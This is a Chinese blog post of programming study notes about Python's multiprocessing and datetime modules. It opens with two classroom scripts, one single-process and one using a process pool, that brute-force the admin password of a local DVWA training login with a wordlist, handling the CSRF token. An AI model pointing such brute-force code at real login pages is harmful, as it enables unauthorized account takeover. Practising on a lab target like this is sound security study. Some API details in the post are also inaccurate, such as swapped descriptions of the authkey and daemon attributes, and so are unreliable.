Python随笔之多进程

记录一个多进程程序

​ 今天上课学长给了两段代码,都是通过一个字典进行暴力破解密码的过程,一个是单进程,一个是多进程。

​ 首先单进程的程序相对简单:

import requests
import re

s = requests.Session()

f = open("字典.txt", "r")
for password in f.read().split('\n'):
	r = s.get("http://127.0.0.1/dvwa/")
	token = re.search(r"'user_token' value='(.*)'", r.text).group(1)
	#print(password)

	payload = {"username":"admin", "password": password, "Login":"Login", "user_token": token}
	r = s.post("http://127.0.0.1/dvwa/login.php", data=payload)
	if("Welcome" in r.text): 
		print(password)
		break


​ 然后是多线程程序:

import requests
import re
import datetime
import multiprocessing
import os

process_num = 8

# 破解函数
def brute(dict, name):
    t1 = datetime.datetime.now()
    s = requests.Session()
    for password in dict:
        r = s.get("http://127.0.0.1/dvwa/")
        result = re.search(r"'user_token' value='(.*)'", r.text)
        if result:
            token = result.group(1)
        else:
            continue
        # print("[%s] %s" % (name, password))

        payload = {"username": "admin", "password": password, "Login": "Login", "user_token": token}
        r = s.post("http://127.0.0.1/dvwa/login.php", data=payload)
        if ("Welcome" in r.text):
            print("破解成功,密码为: ", password)
            return True
    t2 = datetime.datetime.now()
    print("完成: %s" % (t2-t1))
    return False

def callback(x):
    if(x):
        pool.terminate()
        exit(-1)


if __name__ == '__main__':


    f = open("字典.txt", "r")
    text = f.read().split('\n')
    dict = []
    for i in range(process_num):
        dict.append(text[i::process_num])
        # 将暴力破解的密码分为8分,正好对应8个进程


    print(dict)
    pool = multiprocessing.Pool(process_num)

    for i in range(process_num):
        r = pool.apply_async(brute, (dict[i], i), callback=callback)

    pool.close()
    pool.join()

​ 记录一下这段程序用到的新知识。


datetime库

这里参考了https://blog.csdn.net/lilongsy/article/details/80242427的文章

这个库和time库相似,都是用来记录时间的函数。

当前时间:

import datetime
print(datetime.datetime.now())
# 2019-04-07 10:33:26.915565

格式化时间:

import datetime
print(datetime.datetime.now().strftime("%Y-%m-%d %H:%M"))
# 2019-04-07 10:33

python中时间日期格式化符号

简写符号代表意义
%Y四位数的年份表示(000-9999)
%y两位数的年份表示(00-99)
%m月份(01-12)
%d月内中的一天(0-31)
%H24小时制小时数(0-23)
%I12小时制小时数(01-12)
%M分钟数(00=59)
%S秒(00-59)

还有很多,用到时再去查找官方文档。

推后一天:

import datetime
print(datetime.datetime.now()+datetime.timedelta(days=1)).strftime("%Y-%m-%d %H:%M:%S")

提前一天:

import datetime
print(datetime.datetime.now()+datetime.timedelta(days=-1)).strftime("%Y-%m-%d %H:%M:%S")

可以把days改为hours minutes,就可以提前XX小时/分钟了。

有人会问,那怎么怎么增加一个月或者减少一年???

可以通过时间代换,将月份或者年份转化为天数。。

(暂时没有想到好的方法)

Multiprocessing库

这里参考了https://blog.csdn.net/SeeTheWorld518/article/details/49639651的文章

这个模块表示像线程一样管理进程,这个是multiprocessing的核心,它与threading很相似,对多核CPU的利用率会比threading好的多。

看一下Process类的构造方法:

__init__(self, group=None, target=None, name=None, args=(), kwargs={})
  • 参数说明:
    group:进程所属组。基本不用

    target:表示调用对象。

    args:表示调用对象的位置参数元组。

    (开始没太理解这个是什么意思,后来看了代码就很容易理解了,就是构造一个元组,里面是要传递的位置参数,如果只有一个参数的时候要用(x,),如果把这个逗号去了,就会报错,因为此时是变成了一个int型数据而不是tuple型数据)

    name:别名

    kwargs:表示调用对象的字典。

  • 实例方法:

    is_alive():返回进程是否在运行。

    join([timeout]):线程等待p终止(强调:是主线程处于等的状态,而p是处于运行的状态)。timeout是可选的超时时间,需要强调的是,p.join只能join住start开启的进程,而不能join住run开启的进程

    start():启动进程,并调用该子进程中的run()

    run():进程启动时运行的方法,正是它去调用target指定的函数,我们自定义类的类中一定要实现该方法

    terminate():不管任务是否完成,立即停止工作进程,强制终止进程p,不会进行任何清理操作,如果p创建了子进程,该子进程就成了僵尸进程,使用该方法需要特别小心这种情况。如果p还保存了一个锁那么也将不会被释放,进而导致死锁

  • 属性:

    authkey : 默认值为False,如果设为True,代表p为后台运行的守护进程,当p的父进程终止时,p也随之终止,并且设定为True后,p不能创建自己的新进程,必须在p.start()之前设置

    daemon:进程的身份验证键,默认是由os.urandom()随机生成的32字符的字符串。这个键的用途是为涉及网络连接的底层进程间通信提供安全性,这类连接只有在具有相同的身份验证键时才能成功(了解即可)

    exitcode:进程在运行时为None、如果为–N,表示被信号N结束(了解即可)

    name:进程名字。

    pid:进程号。

创建进程的简单实例:

#coding=utf-8
import multiprocessing

def do(n,m) :
  #获取当前线程的名字
  name = multiprocessing.current_process().name
  print(name,'starting')
  print("worker ", n)
  print("next_work is ",m)
  return 

if __name__ == '__main__' :
  numList = []
  for i in range(5) :
    # 当只有一个传递参数时的写法,为了更好的体现出位置参数元组的用法,我改为两个传参
    # p = multiprocessing.Process(target=do, args=(i,))
    p = multiprocessing.Process(target=do, args=(i,i + 1))
    numList.append(p)
    p.start()
    p.join()
    print("Process end.")

​ 创建子进程时,只需要传入一个执行函数和函数的参数,创建一个Process实例,并用其start()方法启动,join()方法表示等待子进程结束以后再继续往下运行,通常用于进程间的同步。

注意:
在Windows上要想使用进程模块,就必须把有关进程的代码写在当前.py文件的

if __name__ == ‘__main__’ :语句的下面,才能正常使用Windows下的进程模块。Unix/Linux下则不需要。

Pool类

​ 在使用Python进行系统管理时,特别是同时操作多个文件目录或者远程控制多台主机,并行操作可以节约大量的时间。如果操作的对象数目不大时,还可以直接使用Process类动态的生成多个进程,十几个还好,但是如果上百个甚至更多,那手动去限制进程数量就显得特别的繁琐,此时进程池就派上用场了。
​ Pool类可以提供指定数量的进程供用户调用,当有新的请求提交到Pool中时,如果池还没有满,就会创建一个新的进程来执行请求。如果池满,请求就会告知先等待,直到池中有进程结束,才会创建新的进程来执行这些请求。
下面介绍一下multiprocessing 模块下的Pool类下的几个方法

  • apply()

函数原型:

apply(func[, args=()[, kwds={}]])

该函数用于传递不定参数,主进程会被阻塞直到函数执行结束(不建议使用,并且3.x以后不在出现)。

好吧,这个可以不用看了。。

等会,什么是组塞什么是非阻塞(看来我操作系统白学了

阻塞和非阻塞关注的是程序在等待调用结果(消息,返回值)时的状态.

阻塞调用是指调用结果返回之前,当前线程会被挂起。调用线程只有在得到结果之后才会返回。

非阻塞调用指在不能立刻得到结果之前,该调用不会阻塞当前线程。

  • apply_async()

函数原型:

apply_async(func[, args=()[, kwds={}[, callback=None]]])

与apply用法一样,但它是非阻塞且支持结果返回进行回调。

  • map()

函数原型:

map(func, iterable[, chunksize=None])

Pool类中的map方法,与内置的map函数用法行为基本一致,它会使进程阻塞直到返回结果。
注意,虽然第二个参数是一个迭代器,但在实际使用中,必须在整个队列都就绪后,程序才会运行子进程。

  • close()

关闭进程池(pool),使其不在接受新的任务。

  • terminate()

结束工作进程,不在处理未处理的任务。

  • join()

主进程阻塞等待子进程的退出,join方法必须在close或terminate之后使用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值